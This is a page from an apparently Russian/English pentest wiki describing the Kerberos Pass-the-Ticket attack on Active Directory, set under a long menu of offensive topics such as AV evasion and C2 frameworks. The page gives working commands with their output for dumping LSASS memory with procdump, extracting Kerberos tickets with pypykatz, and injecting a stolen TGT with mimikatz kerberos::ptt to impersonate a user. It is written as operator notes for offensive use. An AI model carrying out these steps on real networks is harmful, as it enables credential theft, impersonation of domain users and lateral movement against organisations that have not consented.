AppSec & Pentest
Pentest
Pentest
  • Pentest Book
  • Pentest Infrastructure
    • RootKITs
    • Active Directory
      • About
        • About Active Directory (AD)
        • Термины
        • Компоненты AD
        • Взаимодействие с AD
        • LDAP
      • Authentication Protocols
        • NTLM (общая информация)
        • Kerberos
          • About
          • Common
            • Abbreviations
            • Definitions
            • Tickets
            • Kerberos Services
          • Общая схема протокола Kerberos
          • Kerberos Across domains
          • Kerberos Delegation
          • SPN Kerberos
      • Authorization
        • ACL & ACE About
        • Privileges
      • Детектирование и защита
      • Methodology
      • Attacks
        • AD Enum
          • Domains
          • Forests
          • Trusts
          • Users
          • Groups
          • Computers and Shares
          • Services
          • Информация о сессиях
          • ACL & ACE Enum
          • Tools
        • PrivEsc
          • PrivEsc on Machine
          • PrivEsc on Domain
            • SMB Attacks
            • NTLM Attacks
            • Kerberos Basic Attacks
              • Kerberos Brute-Force
              • Kerberoast
              • AS-REP Roasting
              • AS-REQ Roasting
              • Pass-the-Key / Overpass-the-Hash
              • Path-the-Ticket
              • Silver Ticket
              • Golden Ticket
              • CVE-2020-17049: Kerberos Bronze Bit Attack
              • Papers
            • Через механизм доверия (Trusts)
            • Kerberos Across domains attacks
            • Kerberos Delegation attacks
            • Domain database dumping
              • About
              • NTDS.dit
              • DCSync
            • Services / SPN
            • ACL Attacks
            • Group Policy
              • Intro
              • Group Policy template и SYSVOL
              • Group Policy container
              • Group Policy Preferences (GPP)
              • Tools
            • DCShadow
            • DNSAdmins
            • CVEs
        • Logon Types
        • Lateral Movement
        • Token Manipulation
        • Services
          • AppLocker
          • Azure AD
          • Active Directory
            • ADCS
            • ADFS
            • ADIDNS
          • MSSQL
          • WinRM
          • VNC
          • LAPS
          • MS Exchange
        • M-13 Team Tips
          • Заметки на полях: получение списка существующих пользователей
          • Cheat Sheets: Групповые политики
          • Заметки на полях: детектирование действий в AD
      • Tools
        • Bloodhound
        • Invoke-Mimikatz
        • Mimikatz
        • CrackMapExec
        • SysInternalSuite
        • Potato
        • Rubeus
        • impacket
        • Responder
        • Powermad
        • Other tools
    • Machines
      • Windows
        • Windows computers connection
        • Windows computers credentials
        • Basic Vulnerabilities
        • Local PrivEsc
          • Intro
          • Recon
          • Техники
            • Windows Services / ACL
            • Registry Autoruns
            • Just Enough Administration (JEA)
          • Частные случаи
          • Enum Tools
        • Basic cmds
          • LOLBAS Project
          • Basic cmds Cheet Scheets
          • Exec other binary
          • System Information
          • User and Groups
          • ACL и ACE
          • Поиск файлов
          • System services
            • SCManager
        • Papers
        • AV Evasion
        • AMSI Bypass
        • MS ATA
        • CVEs
        • Events Codes
        • Windows Audit Mindmap
      • Linux
        • Про Kali Linux
          • From Docker
        • Basic cmds
          • sudo
          • Аналог LOLBAS Project
          • Когда нет возможности делать пайпы, но передать вывод надо
          • Посмотреть сессии на машине
        • LPE
          • Intro
          • Papers & Books
          • Tools
            • Some Pack
            • Some Exploit
            • Linux Smart Enum
            • Mangoose
            • PXEnum
            • MIDA
            • SUID exploit
            • Bashark
            • LinEnum
            • LinPEAS
            • LinuxPrivChecker
            • BashKIT Multitool
            • SysEnum
            • RootHelper
            • Auto-Root-Exploit
            • Other tools
        • Мониторинг процессов
      • Mac OS
        • PostExpluatation
    • Post-Exploitation (C2 services)
      • Purpose
      • Architecture C2
      • Summary
      • Metasploit (Ruby/Go/Python)
        • About
        • Basic Usage
        • Advanced Usage
          • msfvenom
          • meterpreter
          • Автоматизация
          • meetle
          • msf modules
      • Cobalt Strike
        • About
        • Basic Usage
        • [Dump] Cobalt Strike
      • Empire
        • About
        • Basic
        • Exploitation and Post-Exploitation with Empire
          • Windows
          • MacOS
          • Linux
        • [OLD] PowerShell Empire (PS/Python)
      • C3 (Custom Command and Control) framework (MWR Labs) (C++)
      • Merlin (Go)
      • Covenant (.Net Core)
        • About Covenant
        • Install & Run Covenant
        • Usage
      • Apfell (Python)
      • Faction C2 (Python)
      • Koadic (Python)
      • SilentTrinity
      • Zuthaka (Over C2)
    • Tools
      • Standalone binary
      • Комбайны
      • Pivoting, Tunneling
        • Tools
        • GOST
        • Proxychains
      • Password Spraying
      • PowerShell and Wrappers
        • Other tools
        • ProxyShell
          • About
          • Где логи powershell
          • Обфускация
      • Другие инструменты
        • Extract passwords and history from browser's local storage
        • Default Creds
        • Extract NTLM-hashes from PCAP
        • Internal-Monologue
        • gMSA
      • Scanners
        • ShareSniffer
        • nmap/mapscan
        • naabu - port scanner on Go
        • Nessus
        • Tsunami [Pre-alpha/Google]
        • Ostorlab
    • Devices
      • Найти информацию об оборудовании по FCC ID
      • Камеры
      • Принтеры
      • Mikrotik
      • CISCO
        • Cisco Phone Systems
        • Decrypt Various Cisco password types
        • CVE-2020-3187
        • CVE-2020-3452
      • WiFi
        • WiFi Hacking MindMap
        • Узнать пароль Wi-Fi на винде
        • Последовательность действий (грубо говоря)
        • Роутеры/маршрутизаторы
    • Ports
      • 161,162,10161,10162 SNMP
      • 389, 636, 3268, 3269 LDAP
      • 623 ipmi
      • 2049 NFS
      • 8172
      • 9000
    • Other Attacks
    • Others
      • Papers & Resources
      • Вывести файл на экран
      • Обучение
        • CRTE
        • CRTP
  • Red Team
    • Intro
    • Methodology
      • Проведение RedTeam у себя?
      • The Red Team Guide
      • Atomic Red Team
      • MindMap
    • Papers & Books
    • AMSI
    • Tools
Powered by GitBook
On this page
  1. Pentest Infrastructure
  2. Active Directory
  3. Attacks
  4. PrivEsc
  5. PrivEsc on Domain
  6. Kerberos Basic Attacks

Path-the-Ticket

PreviousPass-the-Key / Overpass-the-HashNextSilver Ticket

Last updated 3 years ago

Используем полученный где-то тикет (TGT или TGS, чаще из LSASS) для доступа к ресурсам или сервисам другого пользователя.

Чуть подробнее

The Pass the Ticket technique consists on steal a ticket and the associated session key and use them to impersonate the user in order to access to resources or services. Both TGTs and STs can be used, but TGTs are preferred since they allow to access to any service (by using it to request a ST) on behalf of the user, whereas the STs are limited to only one service (or more if the to another service of the same user).

In Windows, the tickets can be found in the lsass process memory, and can be extracted with command or command. Other possibility is to dump lsass process with tools like , , and extract the tickets offline with mimikatz or . These commands extracts tickets with the krb format.

Dumping lsass memory with procdump:

PS C:\> .\procdump.exe -accepteula -ma lsass.exe lsass.dmp

ProcDump v10.0 - Sysinternals process dump utility
Copyright (C) 2009-2020 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[12:03:17] Dump 1 initiated: C:\lsass.dmp
[12:03:18] Dump 1 writing: Estimated dump file size is 34 MB.
[12:03:18] Dump 1 complete: 34 MB written in 1.0 seconds
[12:03:18] Dump count reached.

Retrieving tickets from lsass dump with pypykatz:

$ pypykatz lsa minidump lsass.dmp -k /tmp/kerb > output.txt
INFO:root:Parsing file lsass.dmp
INFO:root:Writing kerberos tickets to /tmp/kerb
$ ls /tmp/kerb/
 lsass.dmp_51a1d3f3.ccache                                                        'TGS_CONTOSO.LOCAL_WS02-7$_WS02-7$_29a9c991.kirbi'
 lsass.dmp_c9a82a35.ccache                                                         TGT_CONTOSO.LOCAL_anakin_krbtgt_CONTOSO.LOCAL_6483baf5.kirbi
 TGS_CONTOSO.LOCAL_anakin_LDAP_dc01.contoso.local_contoso.local_f8a46ad5.kirbi    'TGT_CONTOSO.LOCAL_WS02-7$_krbtgt_CONTOSO.LOCAL_740ef529.kirbi'
'TGS_CONTOSO.LOCAL_WS02-7$_cifs_dc01.contoso.local_b9833fa1.kirbi'                'TGT_CONTOSO.LOCAL_WS02-7$_krbtgt_CONTOSO.LOCAL_77d63cf0.kirbi'
'TGS_CONTOSO.LOCAL_WS02-7$_cifs_dc01.contoso.local_bfed6415.kirbi'                'TGT_CONTOSO.LOCAL_WS02-7$_krbtgt_CONTOSO.LOCAL_7ac74bd6.kirbi'
'TGS_CONTOSO.LOCAL_WS02-7$_ldap_dc01.contoso.local_contoso.local_2129bc1c.kirbi'  'TGT_CONTOSO.LOCAL_WS02-7$_krbtgt_CONTOSO.LOCAL_fdb8b40a.kirbi'
'TGS_CONTOSO.LOCAL_WS02-7$_LDAP_dc01.contoso.local_contoso.local_719218c6.kirbi'

Inject TGT into current Windows session:

PS C:\> .\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # kerberos::ptt pikachu-tgt.kirbi

 * File: 'pikachu-tgt.kirbi': OK

To machine, you must inject them into the lsass process, which can be done with command or command. These utilities read tickets in the krb format.

Once the tickets are injected into the session, you can use any tool to perform actions by impersonating the user over the network, like .

SPN is modified
mimikatz sekurlsa::tickets
Rubeus dump
procdump
sqldumper or others
pypykatz
use the tickets in a Windows
mimikatz kerberos::ptt
Rubeus ptt
psexec